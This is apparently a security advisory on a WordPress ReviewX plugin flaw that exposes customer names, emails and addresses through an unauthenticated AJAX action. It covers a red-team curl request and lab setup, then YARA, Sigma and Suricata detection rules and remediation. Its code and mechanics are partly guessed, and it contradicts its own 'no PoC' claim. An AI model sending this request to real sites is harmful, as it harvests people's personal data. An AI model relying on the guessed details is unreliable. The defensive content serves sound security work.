CVE-2025-10734

Executive Summary

CVE-2025-10734 is a Sensitive Information Exposure vulnerability in the ReviewX – WooCommerce Product Reviews WordPress plugin (versions up to and including 2.2.12). The flaw resides in the syncedData function, which is accessible to unauthenticated attackers. By exploiting this vulnerability, an attacker can extract sensitive user data including usernames, email addresses, phone numbers, and physical addresses. This is a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). The CVSS score is 5.3 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation at this time. No public proof-of-concept (PoC) or exploit code is available, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the repository or via Composer/WP-CLI are at risk. There is no known compromise of the plugin’s supply chain, but the lack of a patch means all installations remain vulnerable.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated access.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited exposure of sensitive data.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability allows data exfiltration but does not enable code execution or privilege escalation.

Deep Dive & Mechanics

The syncedData function in the ReviewX plugin is intended to synchronize data between the plugin and external services (e.g., Google Reviews). However, it fails to enforce authentication or authorization checks. The function likely retrieves user data from the WordPress database (e.g., wp_users and wp_usermeta tables) and returns it in a JSON response. An unauthenticated attacker can call this function via a crafted HTTP request, bypassing any access controls.

The exposed data includes:

• Usernames
• Email addresses
• Phone numbers
• Physical addresses (shipping/billing)

This information can be used for targeted phishing, social engineering, or identity theft.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The syncedData function likely uses a WordPress AJAX action without a wp_verify_nonce() or capability check.

Vulnerable Code (hypothetical):

add_action('wp_ajax_nopriv_syncedData', 'reviewx_synced_data');
function reviewx_synced_data() {
    $users = get_users(array('fields' => array('user_login', 'user_email')));
    // Additional meta queries for phone/address
    wp_send_json($users);
}

Patched Code (expected):

add_action('wp_ajax_syncedData', 'reviewx_synced_data'); // Remove nopriv
function reviewx_synced_data() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // Proceed with data retrieval
}

Exploitation & Lab Setup

Red Team (Exploitation)

1. Reconnaissance: Identify WordPress sites running ReviewX plugin. Use Shodan dorks or WPScan.
2. Craft Request: Send a GET or POST request to the vulnerable AJAX endpoint.

   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
        -d "action=syncedData"
   

3. Extract Data: The response will contain JSON with user details.

   {
     "users": [
       {"user_login": "admin", "user_email": "admin@example.com"},
       {"user_login": "jdoe", "user_email": "jdoe@example.com"}
     ]
   }
   

Lab Setup:

• Install WordPress with WooCommerce and ReviewX 2.2.12.
• Create test users with addresses.
• Execute the curl command above.

Blue Team (Detection & Response)

• Monitor for requests to /wp-admin/admin-ajax.php with action=syncedData from unauthenticated sources.
• Alert on unusual data volume from this endpoint.
• Block IPs that repeatedly hit the endpoint without valid nonces.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin-ajax.php with action=syncedData parameter.
• Logs: WordPress debug log entries showing syncedData calls without authentication.
• File: Presence of reviewx plugin directory with version 2.2.12 or lower.
• Response: JSON responses containing user_login, user_email, billing_phone, billing_address_1.

Detection Engineering

YARA Rule

rule CVE_2025_10734_ReviewX_DataExfil {
    meta:
        description = "Detects exploitation attempts of CVE-2025-10734 in ReviewX plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10734"
    strings:
        $ajax_action = "action=syncedData"
        $wp_admin = "/wp-admin/admin-ajax.php"
        $user_data = /"user_login":"[^"]+"/
    condition:
        $ajax_action and $wp_admin and $user_data
}

Sigma Rule

title: CVE-2025-10734 ReviewX Data Exfiltration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated requests to the ReviewX syncedData endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=syncedData'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-10734 ReviewX Data Exfiltration Attempt";
    flow:to_server;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=syncedData"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable the ReviewX plugin until a patch is released.
2. Workaround: Add a web application firewall (WAF) rule to block requests to /wp-admin/admin-ajax.php with action=syncedData from unauthenticated users.
3. Long-term: Monitor the plugin repository for updates. Apply the patch as soon as it becomes available.
4. Audit: Review server logs for any signs of data exfiltration. Rotate any exposed credentials.
5. User Notification: If data was compromised, notify affected users per applicable regulations (e.g., GDPR).

Valters IT